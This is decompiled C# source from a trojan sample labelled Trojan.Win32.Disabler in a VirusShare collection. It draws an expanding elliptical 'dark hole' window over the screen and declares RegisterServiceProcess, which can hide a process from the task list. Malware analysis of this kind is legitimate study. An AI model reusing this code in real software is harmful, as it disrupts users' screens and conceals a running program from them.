// Decompiled with JetBrains decompiler
// Type: DarkHole.MainModule
// Assembly: DarkHole, Version=1.0.2863.37165, Culture=neutral, PublicKeyToken=null
// MVID: 004179F3-0653-4C47-86BC-65D9EC044824
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Disabler.ag-8f832a067f0cbed927d9eb2ca683e9473f989c4db136e10b5039182fc621175b.exe

using Microsoft.VisualBasic.CompilerServices;
using System.Runtime.InteropServices;
using System.Threading;

namespace DarkHole
{
  [StandardModule]
  internal sealed class MainModule
  {
    public static ADarkHole DarkHole;

    [DllImport("gdi32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
    public static extern int CreateEllipticRgn(int X1, int Y1, int X2, int Y2);

    [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
    public static extern int SetWindowRgn(int hWnd, int hRgn, bool bRedraw);

    [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
    public static extern int RegisterServiceProcess(int dwProcessID, int dwType);

    public static void ProgressiveDarkHole()
    {
      while (MainModule.DarkHole.Elipse.Top > 0)
      {
        checked { --MainModule.DarkHole.Elipse.Top; }
        checked { --MainModule.DarkHole.Elipse.Left; }
        checked { ++MainModule.DarkHole.Elipse.Height; }
        checked { ++MainModule.DarkHole.Elipse.Width; }
        MainModule.DarkHole.DoDarkHole();
        Thread.Sleep(300);
      }
      MainModule.SetWindowRgn(MainModule.DarkHole.frmHole.Handle.ToInt32(), 0, true);
    }
  }
}
